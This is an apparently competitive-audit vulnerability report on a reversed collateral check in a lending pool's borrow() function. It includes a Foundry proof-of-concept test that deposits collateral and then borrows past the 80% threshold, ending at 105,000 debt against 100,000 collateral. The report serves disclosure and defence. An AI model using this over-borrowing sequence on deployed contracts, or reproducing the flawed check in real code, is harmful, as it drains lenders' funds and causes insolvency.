Summary
The LendingPool contract contains a critical flaw in its collateral validation logic that allows users to borrow significantly more than their collateral ratio should permit. Due to a reversed comparison in the collateralization check, borrowers can repeatedly borrow amounts that would typically exceed their maximum borrowing capacity, potentially leading to undercollateralized positions and protocol insolvency.
Vulnerability Details
The issue exists in the LendingPool.sol::borrow() function where the collateralization check is implemented incorrectly:
if (collateralValue < userTotalDebt.percentMul(liquidationThreshold)) {
revert NotEnoughCollateralToBorrow();
}
This check compares whether the collateral value is less than the scaled debt value (userTotalDebt * liquidationThreshold), which is the inverse of the correct comparison. The proper validation should ensure that the new total debt after borrowing remains below the maximum allowed by the collateral value.
For example, with a liquidation threshold of 80%, a user with 100,000 in collateral should only be able to borrow up to 80,000; for simplicity, lets assume usageIndex = 1.0.
However, the current implementation allows users to borrow beyond this limit because the check is reversed, essentially comparing 100,000 < (90,000 * 0.8) which evaluates to 100,000 < 72,000, allowing the transaction to proceed when it should revert.
Additionally, because a user must be flagged for liquidation through LendingPool.sol::initiateLiquidation() function call, the user in one txn can call borrow infinitesimally until the check reaches 100,000, by which point they would have far exceeded their collateral value.
Building from the last example, a user then calls LendingPool.sol::borrow() with amount = 15,000.
if (isUnderLiquidation[msg.sender]) revert CannotBorrowUnderLiquidation();
This check will pass because the user hasn't been flagged for liquidation yet.
uint256 userTotalDebt = user.scaledDebtBalance.rayMul(reserve.usageIndex) + amount;
userTotalDebt == 105,000.
Thereafter, the check will evaluate to:
100000 < 105000 * 0.8 = 84000. At this point, they've already taken out a a loan greater than the principle but are able to continue until the check fails.
Likelihood
High
The vulnerability is easily exploitable as it requires no special conditions or complex setup. Any user with deposited collateral can execute this attack by making multiple borrow calls in the same transaction before liquidation checks occur. The bug exists in a core function that will be frequently used, making it highly likely to be discovered and exploited.
Impact
High
This vulnerability allows users to:
Borrow significantly more than their collateral should permit
Potentially drain the protocol's lending pools
Lead to bad debt accumulation and protocol insolvency
Proof of Concept
Convert the project into a foundry project, ensuring test in foundry.toml points to a designated test directory.
Comment out the forking object from the hardhat.congif.cjs file:
networks: {
hardhat: {
mining: {
auto: true,
interval: 0
},
Copy the following test into the directory:
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "contracts/core/tokens/DebtToken.sol";
import "contracts/core/tokens/RToken.sol";
import "contracts/core/tokens/RAACNFT.sol";
import "contracts/core/pools/LendingPool/LendingPool.sol";
import "contracts/core/primitives/RAACHousePrices.sol";
import "contracts/libraries/math/PercentageMath.sol";
import "contracts/libraries/math/WadRayMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract MockERC20 is ERC20 {
constructor() ERC20("Mock", "MCK") {}
function mint(address to, uint256 amount) public {
_mint(to, amount);
}
}
contract BorrowCollateralCheckTest is Test {
using PercentageMath for uint256;
using WadRayMath for uint256;
DebtToken public debtToken;
RToken public rToken;
RAACNFT public nft;
RAACHousePrices public priceOracle;
LendingPool public lendingPool;
MockERC20 public mockCrvUSD;
address borrower = address(0x1);
address lender = address(0x2);
function setUp() public {
mockCrvUSD = new MockERC20();
rToken = new RToken("RToken", "RTKN", address(this), address(mockCrvUSD));
debtToken = new DebtToken("DebtToken", "DEBT", address(this));
priceOracle = new RAACHousePrices(address(this));
nft = new RAACNFT(address(mockCrvUSD), address(priceOracle), address(this));
lendingPool = new LendingPool(
address(mockCrvUSD),
address(rToken),
address(debtToken),
address(nft),
address(priceOracle),
1e27
);
debtToken.setReservePool(address(lendingPool));
rToken.setReservePool(address(lendingPool));
mockCrvUSD.mint(borrower, 100_000e18);
mockCrvUSD.mint(lender, 500_000e18);
vm.startPrank(borrower);
mockCrvUSD.approve(address(lendingPool), type(uint256).max);
mockCrvUSD.approve(address(nft), type(uint256).max);
vm.stopPrank();
vm.prank(address(this));
priceOracle.setOracle(address(this));
priceOracle.setHousePrice(1, 100_000e18);
vm.startPrank(lender);
mockCrvUSD.approve(address(lendingPool), type(uint256).max);
lendingPool.deposit(500_000e18);
vm.stopPrank();
}
function testOverborrowing() public {
vm.startPrank(borrower);
nft.mint(1, 100_000e18);
nft.approve(address(lendingPool), 1);
lendingPool.depositNFT(1);
lendingPool.borrow(90_000e18);
lendingPool.borrow(15_000e18);
vm.stopPrank();
uint256 totalDebt = lendingPool.getUserDebt(borrower);
console.log("Total borrowed:", totalDebt / 1e18);
console.log("Collateral value:", lendingPool.getUserCollateralValue(borrower) / 1e18);
assertTrue(totalDebt > lendingPool.getUserCollateralValue(borrower).percentMul(8000),
"User was able to borrow more than collateral threshold allows");
assertTrue(IERC20(address(mockCrvUSD)).balanceOf(borrower) == 1.05e23);
assertTrue(IERC20(address(debtToken)).balanceOf(borrower) == 1.05e23);
}
}
Run Forge test
Output:
Ran 1 test for test-foundry/IncorrectCollateralCheck.t.sol:BorrowCollateralCheckTest
[PASS] testOverborrowing() (gas: 554522)
Logs:
Total borrowed: 105000
Collateral value: 100000
Recommendations
The collateralization check should be modified to ensure the new total debt remains under the maximum allowed borrowing power